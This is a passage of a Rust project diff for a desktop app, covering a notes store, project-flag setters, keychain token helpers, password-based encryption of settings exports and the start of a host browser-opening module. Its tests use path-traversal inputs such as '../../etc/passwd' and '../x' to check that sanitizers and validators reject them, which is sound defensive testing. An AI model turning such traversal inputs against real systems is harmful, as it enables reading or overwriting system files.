|
||||
dir.display(),
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn temp_dir(tag: &str) -> std::path::PathBuf {
|
||||
let dir = std::env::temp_dir().join(format!(
|
||||
"triple-c-notes-{}-{}",
|
||||
tag,
|
||||
uuid::Uuid::new_v4().simple()
|
||||
));
|
||||
std::fs::create_dir_all(&dir).expect("temp dir");
|
||||
dir
|
||||
}
|
||||
|
||||
fn corrupt_copies(dir: &std::path::Path) -> Vec<String> {
|
||||
std::fs::read_dir(dir)
|
||||
.unwrap()
|
||||
.flatten()
|
||||
.map(|e| e.file_name().to_string_lossy().to_string())
|
||||
.filter(|n| n.contains(".corrupt-"))
|
||||
.collect()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn project_ids_cannot_escape_the_notes_directory() {
|
||||
// The id arrives over IPC. It must not be able to steer the write.
|
||||
assert_eq!(sanitize("../../etc/passwd"), "______etc_passwd");
|
||||
assert_eq!(sanitize("a/b"), "a_b");
|
||||
assert_eq!(sanitize("a\\b"), "a_b");
|
||||
// A real UUID must survive untouched, or every note file would move
|
||||
// the first time this function changed.
|
||||
assert_eq!(
|
||||
sanitize("ab62cd24-51aa-4645-8f5c-17a124062050"),
|
||||
"ab62cd24-51aa-4645-8f5c-17a124062050"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_missing_file_is_an_empty_list_not_an_error() {
|
||||
let dir = temp_dir("missing");
|
||||
assert_eq!(load_in(&dir, "nobody").unwrap(), Vec::<Note>::new());
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_upserted_note_round_trips() {
|
||||
let dir = temp_dir("roundtrip");
|
||||
let note = Note::new("Deploy steps".into(), "one\ntwo".into());
|
||||
let saved = upsert_in(&dir, "p1", note.clone()).unwrap();
|
||||
assert_eq!(saved.id, note.id);
|
||||
|
||||
let loaded = load_in(&dir, "p1").unwrap();
|
||||
assert_eq!(loaded.len(), 1);
|
||||
assert_eq!(loaded[0].body, "one\ntwo");
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn upserting_an_existing_id_replaces_it_and_keeps_created_at() {
|
||||
let dir = temp_dir("replace");
|
||||
let mut note = Note::new("Title".into(), "first".into());
|
||||
upsert_in(&dir, "p1", note.clone()).unwrap();
|
||||
|
||||
note.body = "second".into();
|
||||
note.created_at = "1999-01-01T00:00:00Z".into(); // a client must not rewrite this
|
||||
let saved = upsert_in(&dir, "p1", note.clone()).unwrap();
|
||||
|
||||
let loaded = load_in(&dir, "p1").unwrap();
|
||||
assert_eq!(loaded.len(), 1, "an upsert must not append a duplicate");
|
||||
assert_eq!(loaded[0].body, "second");
|
||||
assert_ne!(
|
||||
saved.created_at, "1999-01-01T00:00:00Z",
|
||||
"created_at is owned by the store, not by whatever the webview sent"
|
||||
);
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deleting_a_note_leaves_the_others_and_a_missing_one_is_success() {
|
||||
let dir = temp_dir("delete");
|
||||
let keep = upsert_in(&dir, "p1", Note::new("keep".into(), "".into())).unwrap();
|
||||
let drop = upsert_in(&dir, "p1", Note::new("drop".into(), "".into())).unwrap();
|
||||
|
||||
delete_in(&dir, "p1", &drop.id).unwrap();
|
||||
let loaded = load_in(&dir, "p1").unwrap();
|
||||
assert_eq!(loaded.len(), 1);
|
||||
assert_eq!(loaded[0].id, keep.id);
|
||||
|
||||
// Idempotent: removing what is already gone is not an error, because
|
||||
// the UI can retry a delete it never saw the result of.
|
||||
delete_in(&dir, "p1", &drop.id).unwrap();
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_unreadable_file_is_copied_aside_and_reads_as_empty() {
|
||||
// Same reasoning as migration_store: a corrupt file must not make the
|
||||
// tab permanently unusable, and the bytes must not be destroyed.
|
||||
let dir = temp_dir("corrupt");
|
||||
let path = notes_path_in(&dir, "p1");
|
||||
std::fs::write(&path, b"{ not json").unwrap();
|
||||
|
||||
assert_eq!(load_in(&dir, "p1").unwrap(), Vec::<Note>::new());
|
||||
assert!(path.exists(), "the unreadable file is left in place");
|
||||
|
||||
assert_eq!(
|
||||
corrupt_copies(&dir).len(),
|
||||
1,
|
||||
"the bytes must be kept exactly once"
|
||||
);
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn what_is_written_is_a_version_envelope_not_a_bare_array() {
|
||||
// The envelope costs nothing now and cannot be added cheaply once
|
||||
// files exist in the field, so the very first file has to carry it.
|
||||
let dir = temp_dir("envelope");
|
||||
upsert_in(&dir, "p1", Note::new("t".into(), "b".into())).unwrap();
|
||||
|
||||
let raw = std::fs::read_to_string(notes_path_in(&dir, "p1")).unwrap();
|
||||
let parsed: serde_json::Value = serde_json::from_str(&raw).unwrap();
|
||||
assert_eq!(parsed["version"], NOTES_FORMAT_VERSION);
|
||||
assert_eq!(parsed["notes"].as_array().unwrap().len(), 1);
|
||||
assert_eq!(parsed["notes"][0]["body"], "b");
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_pre_envelope_bare_array_still_reads_and_is_not_called_corrupt() {
|
||||
// Only a development build ever wrote this shape, but declaring a
|
||||
// perfectly readable file corrupt is the one outcome this store exists
|
||||
// to avoid. It is read, never written back.
|
||||
let dir = temp_dir("legacy");
|
||||
let note = Note::new("Deploy".into(), "one\ntwo".into());
|
||||
std::fs::write(
|
||||
notes_path_in(&dir, "p1"),
|
||||
serde_json::to_string(&vec![note.clone()]).unwrap(),
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let loaded = load_in(&dir, "p1").unwrap();
|
||||
assert_eq!(loaded.len(), 1);
|
||||
assert_eq!(loaded[0].body, "one\ntwo");
|
||||
let copies = corrupt_copies(&dir);
|
||||
assert!(copies.is_empty(), "a readable file must not be copied aside");
|
||||
|
||||
// The next write upgrades it in place.
|
||||
upsert_in(&dir, "p1", note).unwrap();
|
||||
let raw = std::fs::read_to_string(notes_path_in(&dir, "p1")).unwrap();
|
||||
assert!(raw.contains("\"version\""));
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn corrupt_copies_are_capped_rather_than_one_per_second() {
|
||||
// `list_notes` runs on every panel mount, so an unrepaired file would
|
||||
// otherwise mint a full copy of the user's prose every time the
|
||||
// clock's second changed.
|
||||
let dir = temp_dir("cap");
|
||||
let path = notes_path_in(&dir, "p1");
|
||||
std::fs::write(&path, b"{ not json").unwrap();
|
||||
|
||||
let base = chrono::Utc::now();
|
||||
for i in 0..MAX_CORRUPT_BACKUPS as i64 + 3 {
|
||||
let at = base + chrono::Duration::seconds(i);
|
||||
let kept = keep_corrupt_copy(&path, &at);
|
||||
if i < MAX_CORRUPT_BACKUPS as i64 {
|
||||
assert!(matches!(kept, Kept::Copied(_)), "copy {} should be kept", i);
|
||||
} else {
|
||||
assert!(
|
||||
matches!(kept, Kept::EnoughAlready(MAX_CORRUPT_BACKUPS)),
|
||||
"copy {} should be refused by the cap",
|
||||
i
|
||||
);
|
||||
}
|
||||
}
|
||||
assert_eq!(corrupt_copies(&dir).len(), MAX_CORRUPT_BACKUPS);
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_second_read_in_the_same_second_does_not_re_copy() {
|
||||
let dir = temp_dir("samesecond");
|
||||
let path = notes_path_in(&dir, "p1");
|
||||
std::fs::write(&path, b"{ not json").unwrap();
|
||||
|
||||
let at = chrono::Utc::now();
|
||||
assert!(matches!(keep_corrupt_copy(&path, &at), Kept::Copied(_)));
|
||||
assert!(matches!(
|
||||
keep_corrupt_copy(&path, &at),
|
||||
Kept::AlreadyThere(_)
|
||||
));
|
||||
assert_eq!(corrupt_copies(&dir).len(), 1);
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_log_line_never_claims_a_backup_that_was_not_written() {
|
||||
// A message that invents a backup is worse than no message: it is what
|
||||
// someone reads before going to look for their data.
|
||||
let dir = temp_dir("honesty");
|
||||
let path = notes_path_in(&dir, "p1");
|
||||
std::fs::write(&path, b"{ not json").unwrap();
|
||||
|
||||
let copied = keep_corrupt_copy(&path, &chrono::Utc::now()).describe();
|
||||
assert!(copied.contains("a copy is at"));
|
||||
|
||||
let refused = Kept::EnoughAlready(MAX_CORRUPT_BACKUPS).describe();
|
||||
assert!(refused.contains("no copy kept"));
|
||||
assert!(!refused.contains("a copy is at"));
|
||||
|
||||
let failed = Kept::Failed("permission denied".into()).describe();
|
||||
assert!(failed.contains("could not keep a copy"));
|
||||
assert!(!failed.contains("a copy is at"));
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_write_leaves_no_temp_file_behind() {
|
||||
let dir = temp_dir("tmp");
|
||||
upsert_in(&dir, "p1", Note::new("t".into(), "b".into())).unwrap();
|
||||
let leftovers: Vec<_> = std::fs::read_dir(&dir)
|
||||
.unwrap()
|
||||
.flatten()
|
||||
.filter(|e| e.file_name().to_string_lossy().ends_with(".tmp"))
|
||||
.collect();
|
||||
assert!(leftovers.is_empty(), "the rename must have consumed the temp file");
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn clearing_a_project_removes_its_file_and_missing_is_success() {
|
||||
let dir = temp_dir("clear");
|
||||
upsert_in(&dir, "p1", Note::new("t".into(), "b".into())).unwrap();
|
||||
assert!(notes_path_in(&dir, "p1").exists());
|
||||
|
||||
clear_in(&dir, "p1").unwrap();
|
||||
assert!(!notes_path_in(&dir, "p1").exists());
|
||||
clear_in(&dir, "p1").unwrap(); // idempotent
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn clearing_is_what_project_removal_calls_and_it_never_fails_on_absence() {
|
||||
// `remove_project` must not be able to fail because a project simply
|
||||
// never had any notes — an orphaned notes file is harmless, a project
|
||||
// that cannot be removed is not.
|
||||
let dir = temp_dir("removal");
|
||||
assert!(clear_in(&dir, "never-had-notes").is_ok());
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
}
|
||||
@@ -241,6 +241,21 @@ impl ProjectsStore {
|
||||
}
|
||||
}
|
||||
|
||||
/// Granular setter for the browser view's opt-in, for the same reason
|
||||
/// [`Self::set_auth_bridge_enabled`] has one: the pane toggles this while
|
||||
/// the Config tab may be holding an older copy of the whole record.
|
||||
pub fn set_browser_view_enabled(&self, project_id: &str, enabled: bool) -> Result<(), String> {
|
||||
let mut projects = self.lock();
|
||||
if let Some(p) = projects.iter_mut().find(|p| p.id == project_id) {
|
||||
p.browser_view_enabled = enabled;
|
||||
p.updated_at = chrono::Utc::now().to_rfc3339();
|
||||
self.save(&projects)?;
|
||||
Ok(())
|
||||
} else {
|
||||
Err(format!("Project {} not found", project_id))
|
||||
}
|
||||
}
|
||||
|
||||
pub fn set_container_id(&self, project_id: &str, container_id: Option<String>) -> Result<(), String> {
|
||||
let mut projects = self.lock();
|
||||
if let Some(p) = projects.iter_mut().find(|p| p.id == project_id) {
|
||||
@@ -338,4 +353,61 @@ mod tests {
|
||||
|
||||
fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
/// A store over a temp file. `new()` insists on `dirs::data_dir()`, which
|
||||
/// is the real user's; the fields are right here, so the granular setters
|
||||
/// can be exercised against a directory the test owns.
|
||||
fn store_over(dir: &Path, projects: Vec<Project>) -> ProjectsStore {
|
||||
ProjectsStore {
|
||||
projects: Mutex::new(projects),
|
||||
file_path: dir.join("projects.json"),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_browser_view_flag_is_written_to_disk_and_read_back() {
|
||||
// The point of the whole exercise: before this the flag lived in a
|
||||
// `HashSet` in `BrowserViewManager` and an app restart forgot it.
|
||||
let dir = temp_dir("browser-view");
|
||||
let project = Project::new("demo".to_string(), Vec::new());
|
||||
let id = project.id.clone();
|
||||
let store = store_over(&dir, vec![project]);
|
||||
|
||||
assert!(!store.get(&id).unwrap().browser_view_enabled);
|
||||
store.set_browser_view_enabled(&id, true).unwrap();
|
||||
assert!(store.get(&id).unwrap().browser_view_enabled);
|
||||
|
||||
// Durable, not merely in memory — this is what a restart reads.
|
||||
let on_disk: Vec<Project> =
|
||||
serde_json::from_str(&fs::read_to_string(dir.join("projects.json")).unwrap()).unwrap();
|
||||
assert!(on_disk[0].browser_view_enabled);
|
||||
|
||||
store.set_browser_view_enabled(&id, false).unwrap();
|
||||
assert!(!store.get(&id).unwrap().browser_view_enabled);
|
||||
|
||||
assert!(store.set_browser_view_enabled("no-such-project", true).is_err());
|
||||
|
||||
fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_granular_toggle_leaves_every_other_field_alone() {
|
||||
// Why these setters exist at all: the Config tab can be holding an
|
||||
// older copy of the whole record while the pane flips one flag.
|
||||
let dir = temp_dir("granular");
|
||||
let mut project = Project::new("demo".to_string(), Vec::new());
|
||||
project.claude_instructions = Some("keep me".to_string());
|
||||
let id = project.id.clone();
|
||||
let store = store_over(&dir, vec![project]);
|
||||
|
||||
store.set_browser_view_enabled(&id, true).unwrap();
|
||||
store.set_auth_bridge_enabled(&id, false).unwrap();
|
||||
|
||||
let saved = store.get(&id).unwrap();
|
||||
assert_eq!(saved.claude_instructions.as_deref(), Some("keep me"));
|
||||
assert!(saved.browser_view_enabled);
|
||||
assert!(!saved.auth_bridge_enabled);
|
||||
|
||||
fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -321,30 +321,92 @@ pub fn delete_gateway_api_key() -> Result<(), String> {
|
||||
/// only enforces auth when a master key is configured, so Triple-C always
|
||||
/// configures one.
|
||||
pub fn get_or_create_gateway_master_key() -> Result<String, String> {
|
||||
if let Some(existing) = read_entry(GATEWAY_MASTER_KEY_SERVICE, "the gateway master key")? {
|
||||
if !existing.trim().is_empty() {
|
||||
return Ok(existing);
|
||||
}
|
||||
if let Some(existing) = get_gateway_master_key()? {
|
||||
return Ok(existing);
|
||||
}
|
||||
regenerate_gateway_master_key()
|
||||
}
|
||||
|
||||
/// Read the gateway master key without minting one if none exists yet.
|
||||
/// Distinct from [`get_or_create_gateway_master_key`], which mints as a side
|
||||
/// effect the read half of that function must not have — settings export
|
||||
/// (triple-c#35) needs "is there one, and if so what is it", not "make sure
|
||||
/// one exists".
|
||||
pub fn get_gateway_master_key() -> Result<Option<String>, String> {
|
||||
Ok(read_entry(GATEWAY_MASTER_KEY_SERVICE, "the gateway master key")?
|
||||
.filter(|k| !k.trim().is_empty()))
|
||||
}
|
||||
|
||||
/// Mint a new gateway master key, invalidating the old one. Projects using the
|
||||
/// previous value must be updated.
|
||||
pub fn regenerate_gateway_master_key() -> Result<String, String> {
|
||||
// LiteLLM requires the master key to start with `sk-`.
|
||||
let key = format!("sk-triple-c-{}", uuid::Uuid::new_v4().simple());
|
||||
store_gateway_master_key(&key)?;
|
||||
Ok(key)
|
||||
}
|
||||
|
||||
/// Store an exact given gateway master key, replacing any previous one.
|
||||
///
|
||||
/// Distinct from [`regenerate_gateway_master_key`], which always mints a
|
||||
/// fresh random value: this exists for settings import (triple-c#35), where
|
||||
/// restoring the *same* key an export captured is the point — projects on
|
||||
/// the destination machine may not exist yet, but a project migrated or
|
||||
/// re-added later that still has the old key pasted into its config must
|
||||
/// keep working against it. Blank input is rejected rather than silently
|
||||
/// stored, matching every other `store_*` function in this module.
|
||||
pub fn store_gateway_master_key(key: &str) -> Result<(), String> {
|
||||
if key.trim().is_empty() {
|
||||
return Err("Refusing to store an empty gateway master key.".to_string());
|
||||
}
|
||||
|
||||
let entry = keyring::Entry::new(GATEWAY_MASTER_KEY_SERVICE, KEYCHAIN_ACCOUNT)
|
||||
.map_err(|e| format!("Keyring error: {}", e))?;
|
||||
entry
|
||||
.set_password(&key)
|
||||
.set_password(key.trim())
|
||||
.map_err(|e| format!("Failed to store the gateway master key: {}", e))?;
|
||||
|
||||
bump_gateway_secret_version()?;
|
||||
Ok(key)
|
||||
bump_gateway_secret_version()
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Marketplace account tokens (global, one entry per account)
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/// Keychain service prefix; the account id completes it.
|
||||
const MARKETPLACE_TOKEN_SERVICE_PREFIX: &str = "triple-c-marketplace-account-";
|
||||
|
||||
/// The service name for one account. Ids are uuids; anything else is refused
|
||||
/// before a keychain entry is constructed.
|
||||
fn marketplace_token_service(account_id: &str) -> Result<String, String> {
|
||||
let ok = !account_id.is_empty()
|
||||
&& account_id.len() <= 64
|
||||
&& account_id.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-');
|
||||
if !ok {
|
||||
return Err(format!("Invalid marketplace account id {:?}", account_id));
|
||||
}
|
||||
Ok(format!("{}{}", MARKETPLACE_TOKEN_SERVICE_PREFIX, account_id))
|
||||
}
|
||||
|
||||
pub fn store_marketplace_token(account_id: &str, token: &str) -> Result<(), String> {
|
||||
let service = marketplace_token_service(account_id)?;
|
||||
if token.trim().is_empty() {
|
||||
return Err("Refusing to store an empty marketplace token.".to_string());
|
||||
}
|
||||
let entry = keyring::Entry::new(&service, KEYCHAIN_ACCOUNT)
|
||||
.map_err(|e| format!("Keyring error: {}", e))?;
|
||||
entry
|
||||
.set_password(token.trim())
|
||||
.map_err(|e| format!("Failed to store the marketplace account token: {}", e))
|
||||
}
|
||||
|
||||
pub fn get_marketplace_token(account_id: &str) -> Result<Option<String>, String> {
|
||||
read_entry(&marketplace_token_service(account_id)?, "the marketplace account token")
|
||||
}
|
||||
|
||||
pub fn delete_marketplace_token(account_id: &str) -> Result<(), String> {
|
||||
delete_entry(&marketplace_token_service(account_id)?, "the marketplace account token")
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
@@ -402,6 +464,22 @@ mod tests {
|
||||
assert!(err.contains("brand-new-token"), "{}", err);
|
||||
}
|
||||
|
||||
/// Account ids become part of a keychain service name, so a malformed one
|
||||
/// is refused before any entry is constructed — and so before the
|
||||
/// keychain is touched, which is also what lets this run in CI.
|
||||
#[test]
|
||||
fn marketplace_token_ids_are_validated_before_the_keychain() {
|
||||
for bad in ["", "../x", "a b", "x;y", &"a".repeat(65)] {
|
||||
let err = store_marketplace_token(bad, "test-token-not-real").unwrap_err();
|
||||
assert!(err.contains("Invalid marketplace account id"), "{bad:?}: {err}");
|
||||
assert!(!err.contains("test-token-not-real"));
|
||||
assert!(get_marketplace_token(bad).is_err());
|
||||
assert!(delete_marketplace_token(bad).is_err());
|
||||
}
|
||||
let err = store_marketplace_token("0b9e6a2c-1111-4222-8333-944445555666", " ").unwrap_err();
|
||||
assert!(err.contains("empty"));
|
||||
}
|
||||
|
||||
/// The blanked-field case. `AccessSection.tsx` sends `gitToken || null`, so
|
||||
/// a cleared field arrives as `None` — and before this existed, `None` was
|
||||
/// skipped and the old secret stayed in the keychain forever.
|
||||
|
||||
@@ -0,0 +1,184 @@
|
||||
//! Password-based encryption for the settings export/import file — see
|
||||
//! triple-c#35.
|
||||
//!
|
||||
//! The exported payload can carry live credentials (the shared Claude OAuth
|
||||
//! token, the gateway provider/master keys — see
|
||||
//! `commands::settings_export_commands`), so this is not encryption for its
|
||||
//! own sake; a wrong or missing key here is a real credential leak, not a
|
||||
//! cosmetic bug. Argon2id derives a 256-bit key from the password (memory-
|
||||
//! hard, meaningfully resistant to GPU/ASIC brute-forcing in a way PBKDF2 at
|
||||
//! any reasonable iteration count is not), and AES-256-GCM is what actually
|
||||
//! encrypts — authenticated, so a wrong password is detected by a failed tag
|
||||
//! check rather than producing silent garbage.
|
||||
//!
|
||||
//! File format: `MAGIC (4 bytes) | salt (16 bytes) | nonce (12 bytes) |
|
||||
//! ciphertext+tag`. The salt and nonce are not secret — they are written in
|
||||
//! the clear right here, on purpose. The salt's only job is to make two
|
||||
//! exports with the same password derive different keys (defeats a
|
||||
//! precomputed-table attack against the password alone); the nonce's job is
|
||||
//! GCM's requirement that a (key, nonce) pair never repeat. Both hold
|
||||
//! because a fresh random value is drawn for each, on every call to
|
||||
//! [`encrypt`].
|
||||
//!
|
||||
//! The whole header (magic + salt + nonce) is passed to AES-GCM as
|
||||
//! associated data, not just placed alongside the ciphertext — free to do,
|
||||
//! and it makes tampering with any header byte fail the same authentication
|
||||
//! check the ciphertext gets, by construction rather than as a side effect
|
||||
//! of the salt/nonce also feeding key derivation and the cipher.
|
||||
|
||||
use aes_gcm::aead::{Aead, KeyInit, Payload};
|
||||
use aes_gcm::{Aes256Gcm, Nonce};
|
||||
use argon2::{Algorithm, Argon2, Params, Version};
|
||||
use rand::RngCore;
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
/// Identifies the file as a Triple-C settings export and pins the format —
|
||||
/// a change to the salt/nonce lengths or the KDF/cipher choice below needs a
|
||||
/// new magic value, not a silent reinterpretation of old bytes.
|
||||
const MAGIC: &[u8; 4] = b"TCX1";
|
||||
const SALT_LEN: usize = 16;
|
||||
const NONCE_LEN: usize = 12;
|
||||
const KEY_LEN: usize = 32;
|
||||
const HEADER_LEN: usize = MAGIC.len() + SALT_LEN + NONCE_LEN;
|
||||
|
||||
/// Argon2id parameters: memory cost in KiB, time cost (iterations),
|
||||
/// parallelism. `(19 MiB, 2, 1)` is OWASP's documented minimum recommendation
|
||||
/// for Argon2id — deliberately heavier than a login-flow KDF would use, since
|
||||
/// this runs once per export/import rather than on every request, so trading
|
||||
/// roughly a second of wall time for real brute-force resistance costs
|
||||
/// nothing a user would notice.
|
||||
fn argon2_params() -> Params {
|
||||
Params::new(19 * 1024, 2, 1, Some(KEY_LEN)).expect("hardcoded Argon2 params are valid")
|
||||
}
|
||||
|
||||
/// The derived key is wrapped in `Zeroizing` so it is overwritten with zeros
|
||||
/// when it drops rather than left in freed memory for whatever reuses that
|
||||
/// stack slot next — cheap insurance (`zeroize` is already in the dependency
|
||||
/// tree via `aes-gcm`) for material that exists only to decrypt live
|
||||
/// credentials.
|
||||
fn derive_key(password: &str, salt: &[u8]) -> Result<Zeroizing<[u8; KEY_LEN]>, String> {
|
||||
let argon2 = Argon2::new(Algorithm::Argon2id, Version::V0x13, argon2_params());
|
||||
let mut key = Zeroizing::new([0u8; KEY_LEN]);
|
||||
argon2
|
||||
.hash_password_into(password.as_bytes(), salt, &mut *key)
|
||||
.map_err(|e| format!("Failed to derive encryption key: {}", e))?;
|
||||
Ok(key)
|
||||
}
|
||||
|
||||
/// Encrypt `plaintext` with a key derived from `password`. Returns the whole
|
||||
/// file's bytes (header + ciphertext) — see the module doc for the layout.
|
||||
pub fn encrypt(plaintext: &[u8], password: &str) -> Result<Vec<u8>, String> {
|
||||
let mut salt = [0u8; SALT_LEN];
|
||||
rand::rng().fill_bytes(&mut salt);
|
||||
let key = derive_key(password, &salt)?;
|
||||
|
||||
let mut nonce_bytes = [0u8; NONCE_LEN];
|
||||
rand::rng().fill_bytes(&mut nonce_bytes);
|
||||
let nonce = Nonce::from_slice(&nonce_bytes);
|
||||
|
||||
let mut header = Vec::with_capacity(HEADER_LEN);
|
||||
header.extend_from_slice(MAGIC);
|
||||
header.extend_from_slice(&salt);
|
||||
header.extend_from_slice(&nonce_bytes);
|
||||
|
||||
let cipher = Aes256Gcm::new_from_slice(&*key)
|
||||
.map_err(|e| format!("Failed to initialize cipher: {}", e))?;
|
||||
// The header (magic + salt + nonce) is authenticated as associated data
|
||||
// even though none of it is secret: it costs nothing extra here, and it
|
||||
// means tampering with any header byte is caught by the same tag check
|
||||
// that already covers the ciphertext, by construction rather than as a
|
||||
// side effect of the header also feeding key/nonce derivation.
|
||||
let ciphertext = cipher
|
||||
.encrypt(nonce, Payload { msg: plaintext, aad: &header })
|
||||
.map_err(|e| format!("Encryption failed: {}", e))?;
|
||||
|
||||
let mut out = header;
|
||||
out.extend_from_slice(&ciphertext);
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
/// Decrypt a file produced by [`encrypt`]. The one error this returns for a
|
||||
/// wrong password is deliberately generic ("wrong password, or the file is
|
||||
/// corrupted") rather than distinguishing the two: GCM's authentication tag
|
||||
/// fails to verify for the wrong key on essentially any ciphertext, so there
|
||||
/// is no reliable way to tell "wrong password" from "corrupted file" apart,
|
||||
/// and guessing would be worse than saying so.
|
||||
///
|
||||
/// Returns `Zeroizing<Vec<u8>>` rather than a plain `Vec<u8>` — the plaintext
|
||||
/// this recovers is the whole settings-plus-secrets payload, so it gets the
|
||||
/// same "wipe it when it drops" treatment as the derived key in
|
||||
/// [`derive_key`].
|
||||
pub fn decrypt(data: &[u8], password: &str) -> Result<Zeroizing<Vec<u8>>, String> {
|
||||
if data.len() < HEADER_LEN {
|
||||
return Err("This does not look like a Triple-C settings export (file too short).".to_string());
|
||||
}
|
||||
if &data[..MAGIC.len()] != MAGIC {
|
||||
return Err("This does not look like a Triple-C settings export (unrecognized file).".to_string());
|
||||
}
|
||||
let header = &data[..HEADER_LEN];
|
||||
let salt = &data[MAGIC.len()..MAGIC.len() + SALT_LEN];
|
||||
let nonce_bytes = &data[MAGIC.len() + SALT_LEN..HEADER_LEN];
|
||||
let ciphertext = &data[HEADER_LEN..];
|
||||
|
||||
let key = derive_key(password, salt)?;
|
||||
let cipher = Aes256Gcm::new_from_slice(&*key)
|
||||
.map_err(|e| format!("Failed to initialize cipher: {}", e))?;
|
||||
let nonce = Nonce::from_slice(nonce_bytes);
|
||||
cipher
|
||||
.decrypt(nonce, Payload { msg: ciphertext, aad: header })
|
||||
.map(Zeroizing::new)
|
||||
.map_err(|_| "Wrong password, or the file is corrupted.".to_string())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn a_round_trip_with_the_right_password_recovers_the_plaintext() {
|
||||
let plaintext = b"{\"settings\": \"whatever\"}";
|
||||
let encrypted = encrypt(plaintext, "correct horse battery staple").unwrap();
|
||||
let decrypted = decrypt(&encrypted, "correct horse battery staple").unwrap();
|
||||
assert_eq!(&*decrypted, plaintext);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_wrong_password_fails_rather_than_returning_garbage() {
|
||||
let encrypted = encrypt(b"secret payload", "correct password").unwrap();
|
||||
let result = decrypt(&encrypted, "wrong password");
|
||||
assert!(result.is_err(), "decrypting with the wrong password must fail, not silently succeed");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn two_exports_of_the_same_plaintext_and_password_produce_different_files() {
|
||||
// If this ever failed it would mean the salt or nonce stopped being
|
||||
// randomized — either one repeating is a real security regression
|
||||
// (a fixed salt lets an attacker precompute against the password
|
||||
// alone; a repeated (key, nonce) pair breaks GCM's guarantees
|
||||
// outright), not just a cosmetic one.
|
||||
let a = encrypt(b"same plaintext", "same password").unwrap();
|
||||
let b = encrypt(b"same plaintext", "same password").unwrap();
|
||||
assert_ne!(a, b, "two independent exports must not be byte-identical");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn corrupting_a_single_byte_of_ciphertext_is_detected() {
|
||||
let mut encrypted = encrypt(b"tamper-evident payload", "a password").unwrap();
|
||||
let last = encrypted.len() - 1;
|
||||
encrypted[last] ^= 0xFF;
|
||||
assert!(decrypt(&encrypted, "a password").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_file_that_is_too_short_is_rejected_cleanly_not_by_panicking() {
|
||||
assert!(decrypt(b"short", "any password").is_err());
|
||||
assert!(decrypt(b"", "any password").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_file_with_the_wrong_magic_is_rejected() {
|
||||
let mut encrypted = encrypt(b"payload", "password").unwrap();
|
||||
encrypted[0] = b'X';
|
||||
assert!(decrypt(&encrypted, "password").is_err());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,791 @@
|
||||
//! Opening a URL in the *host's* browser — the half of triple-c#34 where
|
||||
//! "Open" appeared to do nothing on Linux.
|
||||
//!
|
||||
//! # Why this module exists rather than `openUrl` from `@tauri-apps/plugin-opener`
|
||||
//!
|
||||
//! The plugin's Linux path shells out to `xdg-open`, and the child inherits
|
||||
//! this process's environment verbatim. Inside an AppImage that environment is
|
||||
//! not the user's — it is the AppImage's, and it is actively hostile to any
|
||||
//! program that is not the one the bundle was built for:
|
||||
//!
|
||||
//! - linuxdeploy's `AppRun`/`AppRun.wrapped` prepends the bundle's own
|
||||
//! directories to `LD_LIBRARY_PATH`, `PATH`, `XDG_DATA_DIRS`, `PYTHONPATH`,
|
||||
//! `PERLLIB`, `QT_PLUGIN_PATH` and `GSETTINGS_SCHEMA_DIR`.
|
||||
//! - `linuxdeploy-plugin-gtk`'s hook adds `GTK_PATH`, `GTK_EXE_PREFIX`,
|
||||
//! `GTK_DATA_PREFIX`, `GTK_IM_MODULE_FILE`, `GIO_MODULE_DIR` and
|
||||
//! `GDK_PIXBUF_MODULE_FILE`.
|
||||
//! - `scripts/finalize-appimage.sh` installs one more hook of our own
|
||||
//! (`triple-c-wayland-fallback.sh`) that can prepend
|
||||
//! `$APPDIR/usr/lib/wayland-fallback` to `LD_LIBRARY_PATH`.
|
||||
//! - `main.rs` sets `WEBKIT_DISABLE_DMABUF_RENDERER` process-wide, and the
|
||||
